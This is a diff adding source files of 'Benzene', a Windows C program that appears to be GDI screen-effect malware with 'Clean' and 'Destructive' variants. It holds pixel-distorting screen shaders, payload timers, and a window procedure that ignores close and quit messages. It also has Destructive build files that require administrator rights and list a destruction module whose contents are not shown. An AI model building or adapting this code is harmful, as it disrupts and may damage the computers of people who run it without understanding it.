+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+
+	UINT u;
+	UINT v;
+	RGBQUAD rgbDst;
+
+	for (INT y = 0; y < h; y++)
+	{
+		HSLCOLOR hsl;
+		hsl.h = (FLOAT)fmod((DOUBLE)t / 15.0 + (DOUBLE)y / (DOUBLE)h * 1.f, 1.0);
+		hsl.s = 1.f;
+		hsl.l = .5f;
+		COLORREF crRainbow = HSLToRGB(hsl).rgb;
+
+		FLOAT a = FastSine((FLOAT)t / 1.f + (FLOAT)y / 60.f) * 8.f;
+
+		for (INT x = 0; x < w; x++)
+		{
+			u = (INT)(x * fabs(fmod((DOUBLE)a - (DOUBLE)(INT)(a * a), 1.0))) + x;
+			v = y + (INT)(a * a);
+
+			Reflect2D((PINT)&u, (PINT)&v, w, h);
+
+			rgbDst = prgbSrc[v * w + u];
+			rgbDst.rgb = rgbDst.rgb & 0xAAAAA;
+			prgbDst[y * w + x] = rgbDst;
+		}
+	}
+}
+
+VOID
+WINAPI
+GdiShader22(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+
+	UINT u;
+	UINT v;
+	RGBQUAD rgbDst;
+	HSLCOLOR hsl;
+	FLOAT _t = (FLOAT)t / 1.f;
+
+	for (INT y = 0; y < h; y++)
+	{
+		FLOAT _y = (FLOAT)y / 2.f;
+
+		for (INT x = 0; x < w; x++)
+		{
+			FLOAT a = FastCosine(_y + _t) * 9.f;
+
+			u = x + (INT)a, v = y;
+			u %= w;
+			v %= h;
+
+			rgbDst = prgbSrc[v * w + u];
+			FLOAT r = (FLOAT)prgbSrc[y * w + x].r;
+			FLOAT g = (FLOAT)prgbSrc[y * w + x].g;
+			FLOAT b = (FLOAT)prgbSrc[y * w + x].b;
+
+			//rgbDst.rgb = (COLORREF)0;
+			hsl = RGBToHSL(rgbDst);
+			hsl.h = (FLOAT)fmod((DOUBLE)hsl.h + 1.0 / 45.0 + ((FLOAT)x + (FLOAT)y) / (((FLOAT)w + (FLOAT)h) * 64.f), 1.0);
+			prgbDst[y * w + x] = HSLToRGB(hsl);
+		}
+	}
+}
+
+VOID
+WINAPI
+GdiShader23(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UINT u;
+	UINT v;
+	RGBQUAD rgbDst;
+
+	for (INT y = 0; y < h; y++)
+	{
+		FLOAT a = FastSine((FLOAT)t / 8.f + (FLOAT)y / 64.f) * 4.f;
+
+		for (INT x = 0; x < w; x++)
+		{
+			u = x + t + (INT)a;
+			v = y + t + (INT)a;
+
+			u %= w;
+			v %= h;
+
+			rgbDst = prgbSrc[v * w + u];
+			prgbDst[y * w + x] = rgbDst;
+		}
+	}
+}
+
+VOID
+WINAPI
+GdiShader24(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(t);
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+	UNREFERENCED_PARAMETER(prgbSrc);
+
+	RGBQUAD rgbDst;
+
+	for (INT y = 0; y < h; y++)
+	{
+		FLOAT a = FastSine((FLOAT)t / 100.f + (FLOAT)y / 10.f) * 9.f;
+		for (INT x = 0; x < w; x++)
+		{
+			INT u = x + 0 + (INT)a;
+			INT v = y;
+
+			u %= w;
+			v %= h;
+
+			rgbDst = prgbSrc[v * w + u];
+
+			rgbDst.rgb = ((rgbDst.b - 1) | ((rgbDst.g + 1) << 10) | ((rgbDst.r - 2) << 1));
+
+			prgbDst[y * w + x] = rgbDst;
+		}
+	}
+}
+
+VOID
+WINAPI
+FinalGdiShader(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+)
+{
+	UNREFERENCED_PARAMETER(t);
+	UNREFERENCED_PARAMETER(hdcTemp);
+	UNREFERENCED_PARAMETER(hbmTemp);
+	UNREFERENCED_PARAMETER(prgbSrc);
+
+	RGBQUAD rgbDst;
+
+	for (INT i = 0; i < w * h; i += w)
+	{
+		rgbDst.rgb = (Xorshift32() % 256) * 0x010101;
+
+		for (INT j = 0; j < w; j++)
+		{
+			prgbDst[i + j] = rgbDst;
+		}
+	}
+}

src/Benzene-main/Clean/Benzene/payloads.h

@@ -0,0 +1,106 @@
+#pragma once
+#include "benzene.h"
+
+#define TIMER_DELAY 100
+#define PAYLOAD_MS 10000
+#define PAYLOAD_TIME ( PAYLOAD_MS / TIMER_DELAY )
+
+#define SineWave(t, freq, sampleCount) FastSine(2.f * 3.1415f * ((FLOAT)(freq) * (FLOAT)(t) / (FLOAT)(sampleCount)))
+#define SquareWave(t, freq, sampleCount) (((BYTE)(2.f * (FLOAT)(freq) * ((t) / (FLOAT)(sampleCount))) % 2) == 0 ? 1.f : -1.f)
+#define TriangleWave(t, freq, sampleCount) (4.f * ( FLOAT )fabs(((FLOAT)(t) / ((FLOAT)(sampleCount) / (FLOAT)(freq))) - floor(((FLOAT)(t) / ((FLOAT)(sampleCount) / (FLOAT)(freq)))) - .5f) - 1.f)
+#define SawtoothWave(t, freq, sampleCount) (fmod(((FLOAT)(t) / (FLOAT)(sampleCount)), (1.f / (FLOAT)(freq))) * (FLOAT)(freq) * 2.f - 1.f)
+
+VOID
+WINAPI
+AudioPayloadThread( VOID );
+
+VOID
+WINAPI
+AudioSequenceThread(
+	_In_ PAUDIO_SEQUENCE_PARAMS pAudioParams
+);
+
+VOID
+WINAPI
+ExecuteAudioSequence(
+	_In_ INT nSamplesPerSec,
+	_In_ INT nSampleCount,
+	_In_ AUDIO_SEQUENCE pAudioSequence,
+	_In_opt_ AUDIOSEQUENCE_OPERATION pPreSynthOp,
+	_In_opt_ AUDIOSEQUENCE_OPERATION pPostSynthOp
+);
+
+#define SYNTH_LENGTH 18
+AUDIO_SEQUENCE AudioSequence1;
+AUDIO_SEQUENCE AudioSequence2;
+AUDIO_SEQUENCE AudioSequence3;
+AUDIO_SEQUENCE AudioSequence4;
+AUDIO_SEQUENCE AudioSequence5;
+AUDIO_SEQUENCE AudioSequence6;
+AUDIO_SEQUENCE AudioSequence7;
+AUDIO_SEQUENCE AudioSequence8;
+AUDIO_SEQUENCE AudioSequence9;
+AUDIO_SEQUENCE AudioSequence10;
+AUDIO_SEQUENCE AudioSequence11;
+AUDIO_SEQUENCE AudioSequence12;
+AUDIO_SEQUENCE AudioSequence13;
+AUDIO_SEQUENCE AudioSequence14;
+AUDIO_SEQUENCE AudioSequence15;
+AUDIO_SEQUENCE AudioSequence16;
+AUDIO_SEQUENCE AudioSequence17;
+AUDIO_SEQUENCE AudioSequence18;
+AUDIO_SEQUENCE FinalAudioSequence;
+AUDIO_SEQUENCE_PARAMS pAudioSequences[ 25 ];
+
+VOID
+WINAPI
+GdiShaderThread(
+	_In_ PGDISHADER_PARAMS pGdiShaderParams
+);
+
+VOID
+WINAPI
+ExecuteGdiShader(
+	_In_ HDC hdcDst,
+	_In_ RECT rcBounds,
+	_In_ INT nTime,
+	_In_ INT nDelay,
+	_In_ GDI_SHADER pGdiShader,
+	_In_opt_ GDI_SHADER_OPERATION pPreGdiShader,
+	_In_opt_ GDI_SHADER_OPERATION pPostGdiShader
+);
+
+INT nShaderThreeSeed;
+GDI_SHADER GdiShader1;
+GDI_SHADER GdiShader2;
+GDI_SHADER GdiShader3;
+GDI_SHADER GdiShader4;
+GDI_SHADER GdiShader5;
+GDI_SHADER GdiShader6;
+GDI_SHADER GdiShader7;
+GDI_SHADER GdiShader8;
+GDI_SHADER GdiShader9;
+GDI_SHADER GdiShader10;
+GDI_SHADER GdiShader11;
+GDI_SHADER GdiShader12;
+GDI_SHADER GdiShader13;
+GDI_SHADER GdiShader14;
+GDI_SHADER GdiShader15;
+GDI_SHADER GdiShader16;
+GDI_SHADER GdiShader17;
+GDI_SHADER GdiShader18;
+GDI_SHADER GdiShader19;
+GDI_SHADER GdiShader20;
+GDI_SHADER GdiShader21;
+GDI_SHADER GdiShader22;
+GDI_SHADER GdiShader23;
+GDI_SHADER GdiShader24;
+GDI_SHADER FinalGdiShader;
+GDI_SHADER_OPERATION PreGdiShader1;
+GDI_SHADER_OPERATION PostGdiShader1;
+GDI_SHADER_OPERATION PostGdiShader2;
+GDI_SHADER_OPERATION PostGdiShader3;
+GDI_SHADER_OPERATION PostGdiShader4;
+GDI_SHADER_OPERATION PostGdiShader5;
+GDI_SHADER_OPERATION PostGdiShader6;
+GDI_SHADER_PARAMS pGdiShaders[ 25 ];

src/Benzene-main/Clean/Benzene/resource.h

@@ -0,0 +1,14 @@
+//{{NO_DEPENDENCIES}}
+// Microsoft Visual C++ generated include file.
+// Used by Benzene.rc
+
+// �V�����I�u�W�F�N�g�̎��̊���l
+// 
+#ifdef APSTUDIO_INVOKED
+#ifndef APSTUDIO_READONLY_SYMBOLS
+#define _APS_NEXT_RESOURCE_VALUE        101
+#define _APS_NEXT_COMMAND_VALUE         40001
+#define _APS_NEXT_CONTROL_VALUE         1001
+#define _APS_NEXT_SYMED_VALUE           101
+#endif
+#endif

src/Benzene-main/Clean/Benzene/resource1.h

@@ -0,0 +1,14 @@
+//{{NO_DEPENDENCIES}}
+// Microsoft Visual C++ generated include file.
+// Used by Benzene1.rc
+
+// �V�����I�u�W�F�N�g�̎��̊���l
+// 
+#ifdef APSTUDIO_INVOKED
+#ifndef APSTUDIO_READONLY_SYMBOLS
+#define _APS_NEXT_RESOURCE_VALUE        101
+#define _APS_NEXT_COMMAND_VALUE         40001
+#define _APS_NEXT_CONTROL_VALUE         1001
+#define _APS_NEXT_SYMED_VALUE           101
+#endif
+#endif

src/Benzene-main/Clean/Benzene/resource2.h

@@ -0,0 +1,19 @@
+//{{NO_DEPENDENCIES}}
+// Microsoft Visual C++ �Ő������ꂽ�C���N���[�h �t�@�C���B
+// Benzene.rc �Ŏg�p
+//
+#define IDI_ICON1                       101
+#define IDI_ICON2                       102
+#define IDI_ICON3                       104
+#define IDI_ICON4                       106
+
+// Next default values for new objects
+// 
+#ifdef APSTUDIO_INVOKED
+#ifndef APSTUDIO_READONLY_SYMBOLS
+#define _APS_NEXT_RESOURCE_VALUE        107
+#define _APS_NEXT_COMMAND_VALUE         40001
+#define _APS_NEXT_CONTROL_VALUE         1001
+#define _APS_NEXT_SYMED_VALUE           101
+#endif
+#endif

src/Benzene-main/Clean/Benzene/threads.c

@@ -0,0 +1,17 @@
+#include "benzene.h"
+
+VOID
+WINAPI
+TimerThread(
+	VOID
+)
+{
+	SetTimer( NULL, 0, TIMER_DELAY, ( TIMERPROC )TimerProc );
+
+	MSG msg;
+	while ( GetMessageW( &msg, NULL, 0, 0 ) )
+	{
+		TranslateMessage( &msg );
+		DispatchMessageW( &msg );
+	}
+}

src/Benzene-main/Clean/Benzene/threads.h

@@ -0,0 +1,8 @@
+#pragma once
+#include "benzene.h"
+
+VOID
+WINAPI
+TimerThread(
+	VOID
+);

src/Benzene-main/Destructive/Benzene.sln

@@ -0,0 +1,25 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Version 17
+VisualStudioVersion = 17.2.32317.152
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Benzene", "Benzene\Benzene.vcxproj", "{3A2DBCF5-A3AB-456D-8367-41D1F1E5E2B4}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Release|x64 = Release|x64
+		Release|x86 = Release|x86
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{3A2DBCF5-A3AB-456D-8367-41D1F1E5E2B4}.Release|x64.ActiveCfg = Release|x64
+		{3A2DBCF5-A3AB-456D-8367-41D1F1E5E2B4}.Release|x64.Build.0 = Release|x64
+		{3A2DBCF5-A3AB-456D-8367-41D1F1E5E2B4}.Release|x86.ActiveCfg = Release|Win32
+		{3A2DBCF5-A3AB-456D-8367-41D1F1E5E2B4}.Release|x86.Build.0 = Release|Win32
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+	GlobalSection(ExtensibilityGlobals) = postSolution
+		SolutionGuid = {B9ADE6F0-3297-4736-88CE-1135D1B5CAAC}
+	EndGlobalSection
+EndGlobal

src/Benzene-main/Destructive/Benzene/Benzene.vcxproj

@@ -0,0 +1,128 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup Label="ProjectConfigurations">
+    <ProjectConfiguration Include="Release|Win32">
+      <Configuration>Release</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Release|x64">
+      <Configuration>Release</Configuration>
+      <Platform>x64</Platform>
+    </ProjectConfiguration>
+  </ItemGroup>
+  <ItemGroup>
+    <ClInclude Include="callbacks.h" />
+    <ClInclude Include="color.h" />
+    <ClInclude Include="def.h" />
+    <ClInclude Include="destruction.h" />
+    <ClInclude Include="extra_payloads.h" />
+    <ClInclude Include="math.h" />
+    <ClInclude Include="benzene.h" />
+    <ClInclude Include="payloads.h" />
+    <ClInclude Include="resource.h" />
+    <ClInclude Include="threads.h" />
+  </ItemGroup>
+  <ItemGroup>
+    <ClCompile Include="callbacks.c" />
+    <ClCompile Include="color.c" />
+    <ClCompile Include="destruction.c" />
+    <ClCompile Include="extra_payloads.c" />
+    <ClCompile Include="main.c" />
+    <ClCompile Include="math.c" />
+    <ClCompile Include="payloads.c" />
+    <ClCompile Include="threads.c" />
+  </ItemGroup>
+  <PropertyGroup Label="Globals">
+    <VCProjectVersion>16.0</VCProjectVersion>
+    <Keyword>Win32Proj</Keyword>
+    <ProjectGuid>{3a2dbcf5-a3ab-456d-8367-41d1f1e5e2b4}</ProjectGuid>
+    <RootNamespace>Benzene</RootNamespace>
+    <WindowsTargetPlatformVersion>7.0</WindowsTargetPlatformVersion>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>false</UseDebugLibraries>
+    <PlatformToolset>v141_xp</PlatformToolset>
+    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>false</UseDebugLibraries>
+    <PlatformToolset>v141_xp</PlatformToolset>
+    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
+  <ImportGroup Label="ExtensionSettings">
+  </ImportGroup>
+  <ImportGroup Label="Shared">
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <PropertyGroup Label="UserMacros" />
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <LinkIncremental>false</LinkIncremental>
+    <TargetName>$(ProjectName) x86</TargetName>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <LinkIncremental>false</LinkIncremental>
+    <TargetName>$(ProjectName) x64</TargetName>
+  </PropertyGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
+      <EnableFiberSafeOptimizations>true</EnableFiberSafeOptimizations>
+      <TreatWarningAsError>true</TreatWarningAsError>
+      <FavorSizeOrSpeed>Speed</FavorSizeOrSpeed>
+      <CallingConvention>StdCall</CallingConvention>
+      <FloatingPointModel>Fast</FloatingPointModel>
+    </ClCompile>
+    <Link>
+      <SubSystem>Windows</SubSystem>
+      <EnableCOMDATFolding>true</EnableCOMDATFolding>
+      <OptimizeReferences>true</OptimizeReferences>
+      <GenerateDebugInformation>false</GenerateDebugInformation>
+      <AdditionalDependencies>shlwapi.lib;winmm.lib;%(AdditionalDependencies)</AdditionalDependencies>
+      <UACExecutionLevel>RequireAdministrator</UACExecutionLevel>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
+      <EnableFiberSafeOptimizations>true</EnableFiberSafeOptimizations>
+      <TreatWarningAsError>true</TreatWarningAsError>
+      <FavorSizeOrSpeed>Speed</FavorSizeOrSpeed>
+      <CallingConvention>StdCall</CallingConvention>
+      <FloatingPointModel>Fast</FloatingPointModel>
+    </ClCompile>
+    <Link>
+      <SubSystem>Windows</SubSystem>
+      <EnableCOMDATFolding>true</EnableCOMDATFolding>
+      <OptimizeReferences>true</OptimizeReferences>
+      <GenerateDebugInformation>false</GenerateDebugInformation>
+      <AdditionalDependencies>shlwapi.lib;winmm.lib;%(AdditionalDependencies)</AdditionalDependencies>
+      <UACExecutionLevel>RequireAdministrator</UACExecutionLevel>
+    </Link>
+  </ItemDefinitionGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
+  <ImportGroup Label="ExtensionTargets">
+  </ImportGroup>
+</Project>

src/Benzene-main/Destructive/Benzene/Benzene.vcxproj.filters

@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup>
+    <Filter Include="ソース ファイル">
+      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
+      <Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
+    </Filter>
+    <Filter Include="ヘッダー ファイル">
+      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
+      <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
+    </Filter>
+    <Filter Include="リソース ファイル">
+      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
+      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
+    </Filter>
+  </ItemGroup>
+  <ItemGroup>
+    <ClInclude Include="callbacks.h">
+      <Filter>ヘッダー ファイル</Filter>
+    </ClInclude>
+    <ClInclude Include="threads.h">
+      <Filter>ヘッダー ファイル</Filter>
+    </ClInclude>
+    <ClInclude Include="color.h">
+      <Filter>ヘッダー ファイル</Filter>
+    </ClInclude>
+    <ClInclude Include="def.h">
+      <Filter>ヘッダー ファイル</Filter>
+    </ClInclude>
+    <ClInclude Include="destruction.h">
+      <Filter>ヘッダー ファイル</Filter>
+    </ClInclude>
+    <ClInclude Include="extra_payloads.h">
+      <Filter>ヘッダー ファイル</Filter>
+    </ClInclude>
+    <ClInclude Include="math.h">
+      <Filter>ヘッダー ファイル</Filter>
+    </ClInclude>
+    <ClInclude Include="benzene.h">
+      <Filter>ヘッダー ファイル</Filter>
+    </ClInclude>
+    <ClInclude Include="payloads.h">
+      <Filter>ヘッダー ファイル</Filter>
+    </ClInclude>
+    <ClInclude Include="resource.h">
+      <Filter>ヘッダー ファイル</Filter>
+    </ClInclude>
+  </ItemGroup>
+  <ItemGroup>
+    <ClCompile Include="callbacks.c">
+      <Filter>ソース ファイル</Filter>
+    </ClCompile>
+    <ClCompile Include="color.c">
+      <Filter>ソース ファイル</Filter>
+    </ClCompile>
+    <ClCompile Include="destruction.c">
+      <Filter>ソース ファイル</Filter>
+    </ClCompile>
+    <ClCompile Include="extra_payloads.c">
+      <Filter>ソース ファイル</Filter>
+    </ClCompile>
+    <ClCompile Include="main.c">
+      <Filter>ソース ファイル</Filter>
+    </ClCompile>
+    <ClCompile Include="math.c">
+      <Filter>ソース ファイル</Filter>
+    </ClCompile>
+    <ClCompile Include="payloads.c">
+      <Filter>ソース ファイル</Filter>
+    </ClCompile>
+    <ClCompile Include="threads.c">
+      <Filter>ソース ファイル</Filter>
+    </ClCompile>
+  </ItemGroup>
+</Project>

src/Benzene-main/Destructive/Benzene/Benzene.vcxproj.user

@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <PropertyGroup />
+</Project>

src/Benzene-main/Destructive/Benzene/benzene.h

@@ -0,0 +1,30 @@
+#pragma once
+#pragma warning( disable: 4152 )
+#pragma warning( disable: 4201 )
+
+#define RGBQUAD _RGBQUAD
+#pragma warning( push, 0 )
+#include <windows.h>
+#pragma warning( pop )
+#undef RGBQUAD
+
+#include <accctrl.h>
+#include <aclapi.h>
+#include <stdio.h>
+#include <math.h>
+#include "def.h"
+#include "math.h"
+#include "color.h"
+#include "callbacks.h"
+#include "threads.h"
+#include "payloads.h"
+#include "extra_payloads.h"
+#include "destruction.h"
+
+#pragma region Public Variables
+extern HWND hwndDesktop;
+extern HDC hdcDesktop;
+extern RECT rcScrBounds;
+extern HHOOK hMsgHook;
+extern INT nCounter;
+#pragma endregion Public Variables

src/Benzene-main/Destructive/Benzene/callbacks.c

@@ -0,0 +1,59 @@
+#include "benzene.h"
+
+BOOL
+CALLBACK
+MonitorEnumProc(
+    _In_ HMONITOR hMonitor,
+    _In_ HDC hDC,
+    _In_ PRECT prcArea,
+    _In_ LPARAM lParam
+)
+{
+    UNREFERENCED_PARAMETER( hMonitor );
+    UNREFERENCED_PARAMETER( hDC );
+    UNREFERENCED_PARAMETER( lParam );
+
+    rcScrBounds.left = min( rcScrBounds.left, prcArea->left );
+    rcScrBounds.top = min( rcScrBounds.top, prcArea->top );
+    rcScrBounds.right = max( rcScrBounds.right, prcArea->right );
+    rcScrBounds.bottom = max( rcScrBounds.bottom, prcArea->bottom );
+
+    return TRUE;
+}
+    
+LRESULT
+CALLBACK
+NoDestroyWndProc(
+    _In_ HWND hWnd,
+    _In_ DWORD dwMsg,
+    _In_ WPARAM wParam,
+    _In_ LPARAM lParam
+)
+{
+    switch ( dwMsg )
+    {
+    default:
+        return DefWindowProcW( hWnd, dwMsg, wParam, lParam );
+    case WM_DESTROY:
+    case WM_CLOSE:
+    case WM_QUIT:
+        return CALLBACK_NULL;
+    }
+}
+
+VOID
+CALLBACK
+TimerProc(
+    _In_ HWND hWnd,
+    _In_ UINT nMsg,
+    _In_ UINT nIDEvent,
+    _In_ DWORD dwTime
+)
+{
+    UNREFERENCED_PARAMETER( hWnd );
+    UNREFERENCED_PARAMETER( nMsg );
+    UNREFERENCED_PARAMETER( nIDEvent );
+    UNREFERENCED_PARAMETER( dwTime );
+
+    nCounter++;
+}

src/Benzene-main/Destructive/Benzene/callbacks.h

@@ -0,0 +1,29 @@
+#pragma once
+#include "benzene.h"
+
+BOOL
+CALLBACK
+MonitorEnumProc(
+    _In_ HMONITOR hMonitor,
+    _In_ HDC hDC,
+    _In_ PRECT prcArea,
+    _In_ LPARAM lParam
+);
+
+LRESULT
+CALLBACK
+NoDestroyWndProc(
+    _In_ HWND hWnd,
+    _In_ DWORD dwMsg,
+    _In_ WPARAM wParam,
+    _In_ LPARAM lParam
+);
+
+VOID
+CALLBACK
+TimerProc(
+    _In_ HWND hWnd,
+    _In_ UINT nMsg,
+    _In_ UINT nIDEvent,
+    _In_ DWORD dwTime
+);

src/Benzene-main/Destructive/Benzene/color.c

@@ -0,0 +1,142 @@
+#include "benzene.h"
+
+HSLCOLOR
+RGBToHSL(
+	_In_ RGBQUAD rgb
+)
+{
+	HSLCOLOR hsl;
+
+	BYTE r = rgb.r;
+	BYTE g = rgb.g;
+	BYTE b = rgb.b;
+
+	FLOAT _r = ( FLOAT )r / 255.f;
+	FLOAT _g = ( FLOAT )g / 255.f;
+	FLOAT _b = ( FLOAT )b / 255.f;
+
+	FLOAT rgbMin = min( min( _r, _g ), _b );
+	FLOAT rgbMax = max( max( _r, _g ), _b );
+
+	FLOAT fDelta = rgbMax - rgbMin;
+	FLOAT deltaR;
+	FLOAT deltaG;
+	FLOAT deltaB;
+
+	FLOAT h = 0.f;
+	FLOAT s = 0.f;
+	FLOAT l = ( FLOAT )( ( rgbMax + rgbMin ) / 2.f );
+
+	if ( fDelta != 0.f )
+	{
+		s = l < .5f ? ( FLOAT )( fDelta / ( rgbMax + rgbMin ) ) : ( FLOAT )( fDelta / ( 2.f - rgbMax - rgbMin ) );
+		deltaR = ( FLOAT )( ( ( rgbMax - _r ) / 6.f + ( fDelta / 2.f ) ) / fDelta );
+		deltaG = ( FLOAT )( ( ( rgbMax - _g ) / 6.f + ( fDelta / 2.f ) ) / fDelta );
+		deltaB = ( FLOAT )( ( ( rgbMax - _b ) / 6.f + ( fDelta / 2.f ) ) / fDelta );
+
+		if ( _r == rgbMax )
+		{
+			h = deltaB - deltaG;
+		}
+		else if ( _g == rgbMax )
+		{
+			h = ( 1.f / 3.f ) + deltaR - deltaB;
+		}
+		else if ( _b == rgbMax )
+		{
+			h = ( 2.f / 3.f ) + deltaG - deltaR;
+		}
+
+		if ( h < 0.f )
+		{
+			h += 1.f;
+		}
+		if ( h > 1.f )
+		{
+			h -= 1.f;
+		}
+	}
+
+	hsl.h = h;
+	hsl.s = s;
+	hsl.l = l;
+	return hsl;
+}
+
+RGBQUAD
+HSLToRGB(
+	_In_ HSLCOLOR hsl
+)
+{
+	RGBQUAD rgb;
+
+	FLOAT r = hsl.l;
+	FLOAT g = hsl.l;
+	FLOAT b = hsl.l;
+
+	FLOAT h = hsl.h;
+	FLOAT sl = hsl.s;
+	FLOAT l = hsl.l;
+	FLOAT v = ( l <= .5f ) ? ( l * ( 1.f + sl ) ) : ( l + sl - l * sl );
+
+	FLOAT m;
+	FLOAT sv;
+	FLOAT fract;
+	FLOAT vsf;
+	FLOAT mid1;
+	FLOAT mid2;
+
+	INT sextant;
+
+	if ( v > 0.f )
+	{
+		m = l + l - v;
+		sv = ( v - m ) / v;
+		h *= 6.f;
+		sextant = ( INT )h;
+		fract = h - sextant;
+		vsf = v * sv * fract;
+		mid1 = m + vsf;
+		mid2 = v - vsf;
+
+		switch ( sextant )
+		{
+		case 0:
+			r = v;
+			g = mid1;
+			b = m;
+			break;
+		case 1:
+			r = mid2;
+			g = v;
+			b = m;
+			break;
+		case 2:
+			r = m;
+			g = v;
+			b = mid1;
+			break;
+		case 3:
+			r = m;
+			g = mid2;
+			b = v;
+			break;
+		case 4:
+			r = mid1;
+			g = m;
+			b = v;
+			break;
+		case 5:
+			r = v;
+			g = m;
+			b = mid2;
+			break;
+		}
+	}
+
+	rgb.r = ( BYTE )( r * 255.f );
+	rgb.g = ( BYTE )( g * 255.f );
+	rgb.b = ( BYTE )( b * 255.f );
+
+	return rgb;
+}

src/Benzene-main/Destructive/Benzene/color.h

@@ -0,0 +1,18 @@
+#pragma once
+#include "benzene.h"
+
+typedef struct {
+	FLOAT h;
+	FLOAT s;
+	FLOAT l;
+} HSLCOLOR;
+
+HSLCOLOR
+RGBToHSL(
+	_In_ RGBQUAD rgb
+);
+
+RGBQUAD
+HSLToRGB(
+	_In_ HSLCOLOR hsl
+);

